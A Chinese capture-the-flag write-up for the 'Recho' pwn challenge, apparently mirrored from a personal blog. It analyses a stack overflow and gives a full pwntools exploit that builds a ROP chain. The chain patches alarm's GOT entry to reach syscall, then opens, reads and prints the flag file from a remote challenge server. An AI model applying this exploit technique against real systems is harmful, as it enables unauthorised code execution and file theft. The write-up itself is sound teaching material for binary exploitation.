6

攻防世界pwn题:Recho - tolele

 1 year ago
source link: https://www.cnblogs.com/tolele/p/16438162.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

0x00:查看文件信息

2641001-20220702181738277-96833120.png

一个64位二进制文件,canary和PIE保护机制没开。

0x01:用IDA进行静态分析

2641001-20220702181759422-351633606.png

分析:主程序部分是一个while循环,判断条件是read返回值大于0则循环。函数atoi()是将一个字符串转换成整型数据,看栗子:

2641001-20220702181831356-609120236.png

这样子v7可以由我们所决定,所以很明显第15行存在栈溢出。

个人想法:

看到程序有一堆输入输出函数,我首先想到的是ret2libc3。在尝试的过程中发现无论如何都跳不出while循环,使用io=send('')不可以。思考无果,上网找WP。在海师傅的文章中,了解到可以用shutdown函数进行操作。而且海师傅是以另外的思路进行泄露的,下面我就借鉴海师傅的思路进行描述。

0x02:深入分析

首先说一下结束循环的方法:

使用io.shutdown('write')进行关闭(为啥是write呢?)

测试一下:

read不可以,send可以???,recv不可以。在测试sendline时,报错看到了重要信息:KeyError: "direction must be in ['in', 'out', 'read', 'recv', 'send', 'write']"。所以说明只能用这六个参数。然后继续测试,in不可以,out可以)。

这样子的话,这样总结为不要以程序为对象。而是看参数的函数操纵数据的流向。write、send、out可以,说明由内向外是可以的,反则反方向不可以。(很抱歉,由于资料缺乏。难以从本质上了解。目前先这么考虑着)

另外,因为关闭后就不能打开了,除非重新运行程序,所以我们就不能再次ROP到主函数获取输入了。这样很明显就不能用ret2libc3泄露了,虽然你可以第一次泄露出远程libc的版本。但由于机器一般都开有aslr保护机制,这样子libc加载的位置就会在重新执行后发生了改变了。

所以,我们必须要一次性完成所有操作,也就是get_shell或者cat_flag。

可以构造这样的代码来get flag:

1、int fd = open("flag",READONLY) (注:READONLY=0)

2、read(fd,buf,100)

3、printf(buf)

1、int fd = open("flag",READONLY)

2641001-20220702181935975-1419621987.png

程序中已经导入了write、printf、alarm、read函数,还缺个open函数。open和这些已导入的函数都是通过系统调用进行调用的,所以libc中应该有系统调用的相关指令,然后改变rax寄存器,使系统调用号变为open的就可以了。

先了解一下32位和64位下的汇编指令的系统调用:

    • 传参方式:首先将系统调用号传入eax,然后将参数从左到右依次存入ebx、ecx、edx寄存器中,返回值存在eax寄存器中。
    • 调用号:sys_read为3,sys_write为4
    • 调用方式:使用int 80h中断进行系统调用
    • 传参方式:首先将系统调用号传入rax,然后将参数从左到右依次存入rdi、rsi、rdx寄存器中,返回值存在rax寄存器中。
    • 调用号:sys_read为0,sys_write为1,sys_open为2
    • 调用方式:使用syscall指令进行系统调用

随便打开个libc,查看alarm函数:

2641001-20220702181959317-37277873.png

系统调用指令syscall在alarm起始位置偏移5的位置。可以对alarm.got的值加5,这需要对libc的函数地址运行一次后加载到got表上后进行操作。这里有个gadget可以达到该目的:

2641001-20220702182016451-1933612730.png

分别对这两行右键,进行undefine。然后对第一行右键,进行code。就可以得到如下gadget:

2641001-20220702182033818-68329766.png

指令 add [rdi],al ,我们可以先让rdi = got['alarm'],然后使al = 5,这样执行完该指令后,alarm对应的got表的值就指向了syscall指令。

其它相关的指令:

2641001-20220702182050003-2132585642.png

想要看机器码的,可以在options->general进行设置:

2641001-20220702182105992-2079531994.png

在改了alarm.got为syscall后,在跳转到syscall开始系统调用之前,还需要做好与open函数相关的准备。有rax=2、rdi=&"flag"、rsi = 0。

pop rax前面已经找出来了,至于字符串"flag"的话,在程序中是有的。但在ida中用shift+f12是看不到的,可能是因为"flag"在数据段,但是shift+f12没有查找数据段的。我们可以在linux终端用strings ./Recho命令查看,或者用ida的菜单栏中的查找文本功能。

2641001-20220702182137568-272507979.png

字符串"flag":

2641001-20220702182156383-1021753431.png

pop rsi指令在__libc_csu_init处有,不过没那么"纯",倒也不影响:

2641001-20220702182219891-1292316302.png

这一段的payload:

payload = b'A'*0x38
payload += p64(pop_rdi) + p64(alarm_got)
payload += p64(pop_rax) + p64(0x05)
payload += p64(rdi_add)

payload += p64(pop_rsi_r15) + p64(0) + p64(0)
payload += p64(pop_rdi) + p64(flag)
payload += p64(pop_rax) + p64(2)
payload += p64(alarm_plt)

2、read(fd,buf,100)

文件描述符0、1、2程序已经默认分配了,前面用open函数打开文件的文件描述符应该是3(不行的话可以试试4、5、6……)。buf的话,海师傅用的是.bss节上的stdin_buffer:(.bss上有的可以,有的不行)

2641001-20220702182333237-2113138158.png
这样子,这一部分的payload为:

payload += p64(pop_rsi_r15) + p64(stdin_buffer) + p64(0)
payload += p64(pop_rdi) + p64(3)
payload += p64(pop_rdx) + p64(100)
payload += p64(read_plt)

3、printf(buf)

用printf函数把第二部分存入stdin_buffer的flag打印出来。

其payload为:

payload += p64(pop_rdi) + p64(stdin_buffer) + p64(printf_plt)

整体EXP:

from pwn import *
import time
context(os='linux', arch='amd64', log_level='debug')

#io = process("./Recho")
io = remote("111.200.241.244",59230)
elf = ELF("./Recho")

pop_rax = 0x4006FC
pop_rdx = 0x4006FE
pop_rsi_r15 = 0x4008A1
pop_rdi = 0x4008A3
rdi_add = 0x40070D

flag = 0x601058
stdin_buffer = 0x601070
alarm_got = elf.got['alarm']
alarm_plt = elf.plt['alarm']
read_plt = elf.plt['read']
printf_plt = elf.plt['printf']

io.recvuntil("Welcome to Recho server!\n")
io.sendline("400")

payload = b'A'*0x38
payload += p64(pop_rdi) + p64(alarm_got)
payload += p64(pop_rax) + p64(0x05)
payload += p64(rdi_add)

payload += p64(pop_rsi_r15) + p64(0) + p64(0)
payload += p64(pop_rdi) + p64(flag)
payload += p64(pop_rax) + p64(2)
payload += p64(alarm_plt)

payload += p64(pop_rsi_r15) + p64(stdin_buffer) + p64(0)
payload += p64(pop_rdi) + p64(3)
payload += p64(pop_rdx) + p64(100)
payload += p64(read_plt)
payload += p64(pop_rdi) + p64(stdin_buffer) + p64(printf_plt)
payload = payload.ljust(400,b'\x00') io.sendline(payload) io.shutdown('write') sleep(1) io.interactive()

0x03:个人感触

这题要在程序里面不断翻找合适的gadget去一步步构造自己想要的执行流,还是得多看看汇编,深入理解程序执行过程中汇编指令的协助。二进制的道路,任重而道远~


 tolele

2022-07-02


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK